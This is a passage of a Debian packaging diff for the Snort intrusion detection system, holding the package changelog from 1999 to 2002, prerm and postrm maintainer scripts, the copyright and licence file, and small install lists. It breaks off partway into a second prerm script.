+snort (1.8.6-2) unstable; urgency=low
+
+  * [debian/snort-rules-default.conffiles] Added missing entries.
+  * [debian/rules] Honour DEB_BUILD_OPTIONS.
+  * [debian/rules] Use a variable to hold configure options that are common
+    to the variant packages.
+  * [debian/rules] Use debhelper *.dirs .
+  * [debian/*.doc-base] New.
+  * Bumped Standards-Version.
+  * Previous uploads fixed more bugs than noted.
+    (Closes: #142508, #143294, #131948)
+  * Enabled SNMP support.
+  * Added Spanish translations to debconf templates. (Closes: #126725)
+  * Changes above by JHM (thanks!)
+  * Added a new snort_stat.pl (Closes: #143875, #131887, #143962)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Mon, 29 Apr 2002 13:03:24 +0200
+
+snort (1.8.6-1) unstable; urgency=low
+
+  * Sander Smeenk <ssmeenk@debian.org> fixed:
+    + Closes: #111533, #131047
+    * Changed snort.template and made a clear text about what HOME_NET
+      is used for. I had to remove the de_DE and pt_BR translations though.
+    + Closes: #134063
+    * The postinst now creates /etc/snort/snort.debian.conf if it doesn't
+      exist by echoing a basic content into the file. Kinda ugly, but it
+      works.
+    + Closes: #132220, #134898, #136848, #139143, #139423
+    * These are all about snort-stat and empty daily emails.
+      Reported against version 1.7-9, and it seems to be fixed now.
+    + Closes: #109135, #117010
+    * Typo. Fixed.
+    + Closes: #104447
+    * Ooooooh ns.somehost.tld is portscanning me!   Add the nameservers
+      to the DNS_SERVER value in snort.conf. Although I think this was fixed
+      in 1.8.4beta2
+    + Closes: #116169
+    * I added 1 or 2 lines of short descriptive text to each package's
+      description. It should be more clear now.
+    + Closes: #67176, #130242, #133591, #79095, #102320
+    * These are left-over bugs. Fixed in earlier releases.
+    + Closes: #128689, #131049
+    * Fixed the init.d script so that it doesn't say "already started" on
+      errors. Snort returns 0(good) or 1(bad), not 2.
+    + Closes: #143268
+    * The supplied patch didn't contain any valid patchable entries. The
+      script has changed that much that I assume it has been fixed already.
+  * Thanks, smeenk :)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Fri, 19 Apr 2002 16:21:35 +0200
+
+snort (1.8.4beta1-2) unstable; urgency=low
+
+  * Fixed 'Depends:' of 'snort' package to depend on new-style snort-common
+    package. (Closes: #131730)
+  * Marked some /etc/ files as conffiles (Closes: #132823)
+  * Fixed build problems on some arches (Closes: #132912, #131741)
+  * Fixed quoting error in virus.rules (Closes: #131947)
+  * Fixed snort-common Replaces: line (Closes: #131701, #133106)
+  * Removed snort.debian.conf from the package (Closes: #132517)
+  * Fixed initscript to allow for multiple subnets (Closes: #125686) 
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun, 10 Feb 2002 16:11:55 +0100
+
+snort (1.8.4beta1-1) unstable; urgency=low
+
+  * New upstream release (Closes: #131517, #106093, #115955, #118270, #127564)
+  * Moved config stuff to snort-common (Closes: #109862)
+  * Fixed debconf instuctions for dialup (Closes: #113250)
+  * Fixed snort-stat (Closes: #115873, #116964)
+  * New upstream has icmp-info rules reordered (Closes: #111832)
+  * Gave 'count' a bit more room in email reports (Closes: #102657)
+  * Fixed snort cron script to not kill snort in dialup mode (Closes: #97950)
+  * Fixed snort cron script to not send empty emails (Closes: #112100,#117079)
+  * Fixed HOME_NET variable passing in init script (Closes: #117886)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun, 10 Feb 2002 15:41:40 +0100
+
+snort (1.8p1-1) unstable; urgency=low
+
+  * New upstream release
+  * Depend on system-log-daemon|syslogd (Closes: #102511)
+  * Fixed snort-stat empty log reports (Closes: #107515, #98944, #103542)
+  * Fixed logfile pattern (Closes: #102787)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Tue, 14 Aug 2001 20:37:43 +0200
+
+snort (1.7-9) unstable; urgency=low
+
+  * Removed 'snort.debian.conf' from the 'conffiles' to avoid it being
+    replaced. (Closes: #96950)
+  * Fixed a lot of errors in the manpage. (Closes: #99873, #101868)
+  * Removed '-s' option, and enabled logging to syslog in snort.conf.
+    (Closes: #101873)
+  * Fixed inconsequent ip-up.d and init.d behaviour (Closes: #101874)
+  * Added pt_BR support (Closes: #93219)
+  * Make snort stop before purging/removing.
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun, 15 Jul 2001 14:04:35 +0200
+
+snort (1.7-8) unstable; urgency=low
+
+  * Have snort depend on system-log-daemon (Closes: #99203)
+  * Changed package description (Closes: #99302)
+  * Changed debconf 'extra options' question (Closes: #99303)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun, 17 Jun 2001 19:16:59 +0200
+
+snort (1.7-7) unstable; urgency=low
+
+  * Added a modified version of 'snort-stat', from Christian Hammers
+    (Closes: #93739)
+  * Changed '5snort' to do syslogd-listfiles --auth, to correctly list
+    logfiles using the 'auth' facility. (Closes: #97467)
+  * Modified crontab file to correctly keep /var/log/snort clean.
+    (Closes: #97465, #97003)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Tue, 15 May 2001 20:40:03 +0200
+
+snort (1.7-6) unstable; urgency=low
+
+  * Added more paths in /etc/init.d/snort (Closes: #94651)
+  * Removed non-US dependency on libssl096 (Closes: #92748)
+  * Fixed old man-page synopsis bug (Closes: #90889)
+  * Added 'please restart' notice for dialup users that upgrade(Closes: #90979).
+  * Fixed 'snort.conf' indiscrepancy (comma-seperated versus
+    whitespace-separated)  (Closes: #93742)
+  * Added '-d' option for startup (Closes: #78667)
+  * Added snort FAQ (Closes: #91219) 
+
+ -- Robert van der Meulen <rvdm@debian.org>  Mon, 30 Apr 2001 01:34:25 +0200
+
+snort (1.7-5) unstable; urgency=low
+
+  * fixed no-pidfile bug when using dialup interfaces. (Closes: #89133)
+  * forgot to close host-timeout bug (Closes: #87838)
+  * Removed bashisms from cron script (Closes: #88596)
+  * Fixed start-stop-daemon paths in init.d script (Closes: #88678)
+  * Corrected multiple -i startup option typo (Closes: #89131)
+  * Added mysql support (Closes: #89840)
+  * Applied 'unaligned trap on alpha' patches from Paul Slootman
+    (Closes: #85684, #81092)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Thu, 22 Mar 2001 22:40:51 +0100
+
+snort (1.7-4) unstable; urgency=low
+
+  * lets-fix-lots-of-bugs release
+  * Fixed snort-stat:
+    - output is now 79 chars wide. (Closes: #70649)
+    - output written to tempfile first, to work around 'host' timing out
+      sometimes. (Closes: #74937)
+  * There is no 'WARNING' message on startup, anymore (Closes: #79289)
+  * Fixed crontab script to reflect /var/log/portscan.log ->
+    /var/log/snort/portscan.log change. (Closes: #85571)
+  * Fixed syntax error in cron file (*shame*) (Closes: #85686)
+  * added check for existence of /var/log/snort/portscan.log in
+    cron file (Closes: #86596 )
+  * Fixed syslog dependency problem (syslogd|syslog-ng) (Closes: #85807)
+  * Changed crontab file to allow for multiple auth.* files (Closes: #84183)
+  * Snort doesn't crash on empty logfiles. (Closes: #85284 )
+  * Snort generates correct snort-stat messages on a dialup link now.
+    (Closes: #82504)
+
+ -- Robert van der Meulen <rvdm@debian.org>  Fri,  2 Mar 2001 23:32:40 +0100
+
+snort (1.7-3) unstable; urgency=low
+
+  * Fixed a couple of bugs in the startup scripts for dialup. Closes: #85201
+  * Made postinst modify /etc/snort/snort.debian.conf.  Closes: #85156
+  * 'hardwired' /etc/ppp/ip-up.d/snort to use the PPP interface. Closes: #85218
+  * Fixed problem with multiple 'auth' logfiles. Closes: #84316
+
+ -- Robert van der Meulen <rvdm@debian.org>  Fri,  9 Feb 2001 23:47:19 +0100
+
+snort (1.7-2) unstable; urgency=low
+
+  * Fixed a small bug in the cron.daily script; snort.conf -> snort.debian.conf
+
+ -- Robert van der Meulen <rvdm@debian.org>  Tue,  6 Feb 2001 23:47:31 +0100
+
+snort (1.7-1) unstable; urgency=low
+
+  * New upstream version.
+  * New maintainer
+  * Moved /etc/snort/snort-lib to /etc/snort/snort.conf
+    /etc/snort/snort.conf was a script to set DEBIAN config variables,
+    it now is the base rule file.
+    /etc/snort/snort.debian.conf does the 'old' job.
+  * modified startup parameters for 'new style'
+
+ -- Robert van der Meulen <rvdm@debian.org>  Sun,  4 Feb 2001 23:31:02 +0100
+
+snort (1.6.3a-5) unstable; urgency=low
+
+  * Accidently typed "echo" instead of "kill" in init script. Closes: #84345
+
+ -- Christian Hammers <ch@debian.org>  Thu,  1 Feb 2001 11:05:16 +0100
+
+snort (1.6.3a-4) unstable; urgency=low
+
+  * Enhanced init.d script. Fixes problems with cron rotations.
+  * Now depends on debhelper. Closes: #75462
+  * Added german translation for debconf menus. Closes: #83873
+  * Is no longer accidently a "native Debian" package. Closes: #82097
+  * Problem with libmysqlclient.so.9 fixed long ago. Closes: #74798, 74806
+  * Debconf should be work fine now. Closes: #59726, #70711
+  * Adopted new homepage URL. Closes: #69805 
+  * Problem no longer reproducable. Closes: #67732, #67734
+  * Added dependency to the virtual package "syslogd". Closes: #84183
+
+ -- Christian Hammers <ch@debian.org>  Wed, 31 Jan 2001 00:38:22 +0100
+
+snort (1.6.3a-3) unstable; urgency=low
+
+  * Changed the "interface" debconf question to medium. Closes: #80996
+
+ -- Christian Hammers <ch@debian.org>  Wed, 31 Jan 2001 00:10:01 +0100
+
+snort (1.6.3a-2) testing unstable; urgency=low
+
+  * Ok, forgot the ">/dev/null" after a savelog cron command... 
+
+ -- Christian Hammers <ch@debian.org>  Sun, 31 Dec 2000 01:11:37 +0100
+
+snort (1.6.3a-1) testing unstable; urgency=low
+
+  * This is still 1.6.3!
+    Somehow the .orig.tar.gz got renamed so I have to make a new
+    -1 upload. 
+  * Added rotation of /var/log/portscan.log. Closes: #80864 
+
+ -- Christian Hammers <ch@debian.org>  Sat, 30 Dec 2000 17:52:58 +0100
+
+snort (1.6.3-8) unstable; urgency=low
+
+  * writed more good english in debconf template. Closes: #78367
+  * Adjusted debconf question for email recipient to "medium".
+
+ -- Christian Hammers <ch@debian.org>  Fri,  1 Dec 2000 20:01:38 +0100
+
+snort (1.6.3-7) unstable; urgency=low
+
+  * Recompiled against new kernel to handle pppeo.
+    (requested by jeffml@pobox.com)
+
+ -- Christian Hammers <ch@debian.org>  Sun, 26 Nov 2000 14:55:25 +0100
+
+snort (1.6.3-6) unstable; urgency=low
+
+  * Added debhelper to build depends. Closes #75462
+
+ -- Christian Hammers <ch@debian.org>  Wed, 25 Oct 2000 10:51:23 +0200
+
+snort (1.6.3-5) unstable; urgency=medium
+
+  * Recompiled against libmysqlclient10. 
+
+ -- Christian Hammers <ch@debian.org>  Tue, 17 Oct 2000 11:00:11 +0200
+
+snort (1.6.3-4) unstable; urgency=low
+
+  * Added dependencies to adduser >= 3.11. Closes: #69425
+
+ -- Christian Hammers <ch@debian.org>  Sun, 20 Aug 2000 08:53:50 +0200
+
+snort (1.6.3-3) unstable; urgency=low
+
+  * Made postinst/preinst idempotent. Closes: 67732, 67734
+
+ -- Christian Hammers <ch@debian.org>  Sun, 20 Aug 2000 08:53:37 +0200
+
+snort (1.6.3-2) unstable; urgency=low
+
+  * Disabled defrag-preprocessor due to upstream bugs. 
+
+ -- Christian Hammers <ch@debian.org>  Mon, 24 Jul 2000 17:21:18 +0200
+
+snort (1.6.3-1) unstable; urgency=low
+
+  * New upstream release.
+  * Now chrooted to /var/log/snort and running as snort:snort!
+  * More scan detections added.
+  * Applied fixed from Ian Zimmerman. Thanks. Closes: #66057
+
+ -- Christian Hammers <ch@debian.org>  Sun, 23 Jul 2000 14:11:50 +0200
+
+snort (1.6.2.2-1) unstable; urgency=low
+
+  * New upstream release 1.6.2.2. Minor patches. 
+
+ -- Christian Hammers <ch@debian.org>  Sun,  9 Jul 2000 23:21:16 +0200
+
+snort (1.6.1-1) unstable; urgency=low
+
+  * Many new scans for known vulnerabilities included!
+
+ -- Christian Hammers <ch@debian.org>  Sat,  8 Jul 2000 17:06:47 +0200
+
+snort (1.6-1) unstable; urgency=low
+
+  * New upstream major release.
+
+ -- Christian Hammers <ch@debian.org>  Tue,  4 Jul 2000 18:40:34 +0200
+
+snort (1.5.1-12) unstable; urgency=low
+
+  * Removed warning for port 53 source port traffic because old BINDs
+    generated them. Closes: #65107
+
+ -- Christian Hammers <ch@debian.org>  Tue,  6 Jun 2000 19:07:06 +0200
+
+snort (1.5.1-11) frozen unstable; urgency=low
+
+  * Package could not be build on powerpc because there were some
+    obsolete AM_PROG_INSTALL (now AC_PROG_INSTALL) statements in
+    aclocal.m4. Closes: #57916
+  * Improved documentation about reading the tcpdump-style binary log 
+    file. Closes: #57789
+
+ -- Christian Hammers <ch@debian.org>  Sun, 13 Feb 2000 18:23:58 +0100
+
+snort (1.5.1-10) frozen unstable; urgency=low
+
+  * Make sure that snort's cron.daily script gets renamed to the new
+    name in snort.preinst so that it won't be called twice.
+
+ -- Christian Hammers <ch@debian.org>  Wed,  9 Feb 2000 12:37:53 +0100
+
+snort (1.5.1-9) frozen unstable; urgency=low
+
+  * Argh! Forgot to remove a malicious line in cron.daily. Closes: #57611 
+
+ -- Christian Hammers <ch@debian.org>  Wed,  9 Feb 2000 11:10:53 +0100
+
+snort (1.5.1-8) frozen unstable; urgency=low
+
+  * Added "exit 0" to cron.daily script.
+
+ -- Christian Hammers <ch@debian.org>  Sat,  5 Feb 2000 16:07:05 +0100
+
+snort (1.5.1-7) frozen unstable; urgency=low
+
+  * Applied upstream patch to get binary mode working.
+    Now this is really 1.5.1 and not 1.5patch1, btw.
+  * switched logging to tcpdump compatible binary mode so that
+    snort is usable on 100MBit networks. Closes: #55949
+  * fixed daily report of the weekly rotated auth.log. Closes: #56476
+  * cron job restarts snort correctly. Closes: #56608
+  * postinst should start snort only if $startup=="boot".
+  * sanified snort.config (thank to Mario Holbe, again)
+  * removed debconf-bug compatibility. Closes: #54990
+
+ -- Christian Hammers <ch@debian.org>  Sat, 29 Jan 2000 17:57:34 +0100
+
+snort (1.5.1-5) frozen unstable; urgency=low
+
+  * User may only enter one interface and no comma seperated list that
+    confuses the postscript, too. Closes: #55567
+  * Explained a debconf question. Closes: #55568
+  * Fixed email address in copyright.
+  * uncommented all backdoor-lib rules that do only whatch for a
+    port >=1024, ignoring the content since they produce too much
+    false-positives. (as requested by chirik@castlefur.com)
+  * Added a note that this isn't actually 1.5.1 but 1.5patch1. 
+  * Included "real" manpage that upstream author wrote.
+
+ -- Christian Hammers <ch@debian.org>  Sat, 22 Jan 2000 15:30:32 +0100
+
+snort (1.5.1-4) frozen unstable; urgency=low
+
+  * Workaroung for debconf bug (#55317).
+  * Do not ask user for IP range when using dialup-mode.
+    (They normally wouldn't know!)
+  * 
+
+ -- Christian Hammers <ch@debian.org>  Sat, 22 Jan 2000 15:00:25 +0100
+
+snort (1.5.1-3) frozen unstable; urgency=medium
+
+  * Fixed cron script. Closes: #54553
+  * The following was done by --- Mario Holbe --- thanks again!
+  * Fixed quoting of metacharacters in postinst. Closes: #54984
+  * replaced the snort.options thingy by a sh-based snort.conf                                                    
+    - removed it from snort-lib                                                                                   
+    - changed the README.Maintainer comment                                                                       
+    - changed rule for it                                                                                         
+    - created snort.conf with slightly beautified variables                                                       
+  * modified ip-down.d to work with new snort.conf                                                                
+  * modified ip-up.d to work with new snort.conf                                                                  
+  * modified snort.init.d to work with new snort.conf Closes: #54553                                              
+    - this closes some bugs in 1.5.1-2, which i've not submitted :-)                                              
+  * modified snort-stat to work with new snort.conf Closes: #54555                                                
+  * modified snort.cron.daily to work with new snort.conf/snort-stat                                              
+  * added new snort/stats_treshold to snort.templates                                                             
+  * modified snort.config to work with new config variable                                                        
+  * modified snort.postinst to work with new snort.conf                                                           
+  * modified snort.postrm to remove snort.conf if purge                                                           
+  * all over all: did some beauifying :)                                                                          
+
+ -- Christian Hammers <ch@debian.org>  Fri, 14 Jan 2000 21:09:42 +0100
+
+snort (1.5.1-2) unstable; urgency=low
+
+  * I was diligently and added five more debconf options :) Closing: #54227
+    - receipient of the daily statistic mail
+    - start at boot/ip-up/manual
+    - interface
+    - promiscuous mode
+    - reverse order
+  * Enhanced the snort-stat script with help from Mario Holbe. Closes: #54369
+
+ -- Christian Hammers <ch@debian.org>  Fri, 14 Jan 2000 21:09:36 +0100
+
+snort (1.5.1-1) unstable; urgency=low
+
+  * Fixed cron script with the new logging method.
+    Closes: #54226, #54275
+  * Applied upstream patch1 and one from the mailing list.
+    Closes: #54225, #54224
+  * Added README.Debian with a small FAQ.
+  * Changed configuration and added a /etc/snort/snort.options file.
+
+ -- Christian Hammers <ch@debian.org>  Tue, 11 Jan 2000 22:56:33 +0100
+
+snort (1.5-2) unstable; urgency=low
+
+  * Fixed typo. Closes: #54269 
+
+ -- Christian Hammers <ch@debian.org>  Sun,  9 Jan 2000 18:58:45 +0100
+
+snort (1.5-1) unstable; urgency=low
+
+  * New upstream release.
+    Features speed burst and modularization of the rules file.
+  * Now using syslog facility to log to /var/log/auth.log.
+    (Details are still available in /var/log/snort/)
+  * Daily generation of scan statistic via cron script.
+
+ -- Christian Hammers <ch@debian.org>  Sun,  9 Jan 2000 18:58:39 +0100
+
+snort (1.3.1-8) unstable; urgency=low
+
+  * Sorry, future timestamps in package. Closes: #51848
+    (too much Y2K testing, I guess)
+
+ -- Christian Hammers <ch@debian.org>  Sun,  5 Dec 1999 16:49:56 +0100
+
+snort (1.3.1-7) unstable; urgency=medium
+
+  * Changed prio to high since it's an grave bug that was closed.
+  * Closes: #51130 
+
+ -- Christian Hammers <ch@debian.org>  Tue, 15 Feb 2000 00:34:59 +0100
+
+snort (1.3.1-6) unstable; urgency=medium
+
+  * Snort stalles after installation due to debconf misuse.
+  * Closes: #51130
+
+ -- Christian Hammers <ch@debian.org>  Wed, 24 Nov 1999 00:29:39 +0100
+
+snort (1.3.1-5) unstable; urgency=low
+
+  * Added debconf support to enter address range. 
+
+ -- Christian Hammers <ch@debian.org>  Mon, 22 Nov 1999 20:13:41 +0100
+
+snort (1.3.1-4) unstable; urgency=low
+
+  * Extended archiving of log files. Closes: #50176 
+
+ -- Christian Hammers <ch@debian.org>  Mon, 22 Nov 1999 00:56:38 +0100
+
+snort (1.3.1-3) unstable; urgency=low
+
+  * Registered cron script as config file. Closes: #48391
+
+ -- Christian Hammers <ch@debian.org>  Wed, 27 Oct 1999 18:36:06 +0200
+
+snort (1.3.1-2) unstable; urgency=low
+
+  * Added the non-promiscuous flag (-p) to the man-page. 
+
+ -- Christian Hammers <ch@debian.org>  Sun, 24 Oct 1999 18:52:20 +0200
+
+snort (1.3.1-1) unstable; urgency=low
+
+  * New upstream version. 
+  * Many bugfixes.
+
+ -- Christian Hammers <ch@debian.org>  Thu, 14 Oct 1999 00:20:35 +0200
+
+snort (1.2.1-3) unstable; urgency=low
+
+  * Included the LISA'99 Conference paper as documentation.
+  * FHS compliant.
+  * Improved /etc/cron.daily script. Fixes: #44568.
+
+ -- Christian Hammers <ch@debian.org>  Fri, 10 Sep 1999 01:55:22 +0200
+
+snort (1.2.1-2) unstable; urgency=low
+
+  * Added a nice manpage (thanks to Peter T. Breuer). Closes #44127. 
+
+ -- Christian Hammers <ch@debian.org>  Tue,  7 Sep 1999 17:15:51 +0200
+
+snort (1.2.1-1) unstable; urgency=low
+
+  * New upstream release with fixes and speed improvement. (fixes: #43049)
+
+ -- Christian Hammers <ch@debian.org>  Mon, 30 Aug 1999 21:15:10 +0200
+
+snort (1.2-2) unstable; urgency=low
+
+  * Made cron.daily a bit quieter. (fixes: #43049) 
+
+ -- Christian Hammers <ch@debian.org>  Mon, 16 Aug 1999 23:05:16 +0200
+
+snort (1.2-1) unstable; urgency=low
+
+  * New upstream version with great performance improve.
+
+ -- Christian Hammers <ch@debian.org>  Mon,  2 Aug 1999 20:37:09 +0200
+
+snort (1.1-2) unstable; urgency=low
+
+  * Made better default IP in config file and fixed typo.
+
+ -- Christian Hammers <ch@debian.org>  Tue, 13 Jul 1999 00:02:48 +0200
+
+snort (1.1-1) unstable; urgency=low
+
+  * Initial Release.
+
+ -- Christian Hammers <ch@debian.org>  Mon, 12 Jul 1999 21:30:57 +0200
+
--- snort-2.7.0.orig/debian/snort-pgsql.prerm
+++ snort-2.7.0/debian/snort-pgsql.prerm
@@ -0,0 +1,52 @@
+#! /bin/sh
+# prerm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <prerm> `remove'
+#        * <old-prerm> `upgrade' <new-version>
+#        * <new-prerm> `failed-upgrade' <old-version>
+#        * <conflictor's-prerm> `remove' `in-favour' <package> <new-version>
+#        * <deconfigured's-prerm> `deconfigure' `in-favour'
+#          <package-being-installed> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+    remove|upgrade|deconfigure)
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    failed-upgrade)
+	;;
+    *)
+	echo "prerm called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+# no matter if dialup, manual or boot modus!
+#if [ -x /usr/sbin/invoke-rc.d ]; then
+#	invoke-rc.d snort stop || true
+#else
+#	/etc/init.d/snort stop || true
+#fi
+# this used to be done with /etc/init.d/snort.
+# Older versions of snort just kill every process with 'snort' in the
+# name, so also 'snort.prerm'. This fixes that. 
+ps cax | grep ' snort$' | awk '{print $1}' |
+	xargs --no-run-if-empty kill -s KILL >/dev/null
+rm -f /var/run/snort_*.pid
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.7.0.orig/debian/snort-pgsql.postrm
+++ snort-2.7.0/debian/snort-pgsql.postrm
@@ -0,0 +1,66 @@
+#! /bin/sh
+# postrm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+# TODO : Should use /etc/default/snort definitions?
+
+case "$1" in
+       purge|disappear)
+       		# Remove logfiles
+		rm -rf /var/log/snort/
+		
+		# Remove configuration
+		if [ -e /etc/snort/snort.debian.conf ] ; then
+			rm /etc/snort/snort.debian.conf
+		fi
+		if [ -e /etc/snort/snort.common.parameters ] ; then
+			rm /etc/snort/snort.common.parameters
+		fi
+		if [ -e /etc/default/snort ] ; then
+			rm /etc/default/snort
+		fi
+		if [ -e /etc/snort/db-pending-config ] ; then
+			rm /etc/snort/db-pending-config
+		fi
+
+		# Remove configuration dir
+		[ -d /etc/snort ] && rmdir --ignore-fail-on-non-empty /etc/snort
+		
+		# Remove init.d
+		update-rc.d -f snort remove >/dev/null
+
+		# Remove user/group
+		if ! getent passwd | grep -q "^snort:"; then
+			userdel snort 2>/dev/null || true
+		fi
+		if ! getent group | grep -q "^snort:" ; then
+			delgroup --only-if-empty snort 2>/dev/null || true
+		fi
+		;;
+       remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		# nothing
+		# We may not delete the user snort, as there may be
+		# files owned by it in /var/log/snort and /etc/snort.
+        	;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+
--- snort-2.7.0.orig/debian/copyright
+++ snort-2.7.0/debian/copyright
@@ -0,0 +1,104 @@
+This package was adopted by Sander Smeenk <ssmeenk@debian.org>
+Tue,  4 Jun 2002 21:56:15 +0200
+
+This package was debianized by Robert van der Meulen <rvdm@debian.org>
+Sun Feb  4 17:20:36 CET 2001.
+
+It was downloaded from http://www.snort.org/
+
+Upstream Author: Martin Roesch <roesch@clark.net>
+
+
+Copyright:
+
+Copyright (C) 1998-2002 Martin Roesch <roesch@sourcefire.com>
+
+Portions:
+ - Copyright (C) 2002-2007  Sourcefire, Inc.
+ - Copyright (C) 1993-1998 by Christopher R. Hertel
+ - Copyright (C) 2001 Brian Caswell <bmc@mitre.org>
+ - Copyright (C) 2000,2001 Andrew R. Baker <andrewb@uab.edu>
+ - Copyright (C) 2006 Joshua Wright <jwright@arubanetworks.com>
+ - Copyright (C) 2002-2004 Jeff Nathan <jeff@snort.org>
+ - Copyright (C) 2000,2001,2002 Carnegie Mellon University
+ - Copyright (C) 2001 Jed Pickel <jed@pickel.net>
+ - Copyright (C) 2000-2003 MySQL AB & MySQL Finland AB & TCX DataKonsult AB
+ - Copyright (C) 2005 PreludeIDS Technologies. 
+ - Copyright (c) 1998 Todd C. Miller <Todd.Miller@courtesan.com>
+ - Copyright(C) 1975 Association for Computing Machinery,Inc
+ - Copyright(C) 2002,2003,2004 Marc Norton
+ - Copyright(C) 2003,2004 Daniel Roelker 
+ - Copyright (c) 2001 Michael Davis <mike@datanerds.net>
+ - Copyright (c) 1995, 1996, 1997 Kungliga Tekniska Högskolan
+ - Copyright (c) 1997-2003 University of Cambridge
+ - Copyright (C) 2000,2001 Maciej Szarpak
+ - Copyright (C) 2001 Phil Wood <cpw@lanl.gov>
+ - Copyright (C) 1999,2000,2001 Christian Lademann <cal@zls.de>
+ - Copyright (c) 1998 Sendmail, Inc.  All rights reserved.
+ - Copyright (c) 1997 Eric P. Allman.  All rights reserved.
+ - Copyright (c) 1988, 1993 The Regents of the University of California
+ - Copyright (C) 2000,2001 Christopher Cramer <cec@ee.duke.edu>
+ - Copyright (C) 2003 Michael J. Pomraning <mjp@securepipe.com>
+ - Copyright (C) 1999,2000,2001 Christian Lademann <cal@zls.de>
+ - Copyright (C) 2000 Mike Andersen <mike@src.no>
+ - Copyright (C) 2001 Andrew Stubbs <andrews@stusoft.com>
+ - Copyright (C) 2002 Chris Reid <chris.reid@codecraftconsulants.com>
+
+
+
+License:
+
+   This package is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; version 2 dated June, 1991.
+   You may not use, modify or distribute this program under any other version
+   of the GNU General Public License.
+
+   This package is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this package; if not, write to the Free Software
+   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+   MA  02110-1301  USA
+
+
+On Debian GNU/Linux systems, the complete text of the GNU General
+Public License can be found in `/usr/share/common-licenses/GPL-2'.
+
+Additional licenses / copyrights:
+---------------------------------
+
+Snort includes Winpcap which is:
+
+ * Copyright (c) 2001 - 2003
+ * NetGroup, Politecnico di Torino (Italy)
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of the Politecnico di Torino nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
--- snort-2.7.0.orig/debian/snort-mysql.dirs
+++ snort-2.7.0/debian/snort-mysql.dirs
@@ -0,0 +1,11 @@
+etc/cron.daily
+etc/init.d
+etc/logrotate.d
+etc/default
+etc/ppp/ip-down.d
+etc/ppp/ip-up.d
+etc/snort
+usr/sbin
+usr/share/doc/snort
+usr/share/man/man8
+var/log/snort
--- snort-2.7.0.orig/debian/snort-inline.manpages
+++ snort-2.7.0/debian/snort-inline.manpages
@@ -0,0 +1 @@
+snort.8
--- snort-2.7.0.orig/debian/snort-inline.common.parameters
+++ snort-2.7.0/debian/snort-inline.common.parameters
@@ -0,0 +1 @@
+-m 027 -D -l /var/log/snort -d -u snort -g snort
--- snort-2.7.0.orig/debian/snort-mysql.prerm
+++ snort-2.7.0/debian/snort-mysql.prerm
@@ -0,0 +1,52 @@
+#! /bin/sh
+# prerm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <prerm> `remove'
+#        * <old-prerm> `upgrade' <new-version>
+#        * <new-prerm> `failed-upgrade' <old-version>
+#        * <conflictor's-prerm> `remove' `in-favour' <package> <new-version>
+#        * <deconfigured's-prerm> `deconfigure' `in-favour'
+#          <package-being-installed> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+    remove|upgrade|deconfigure)
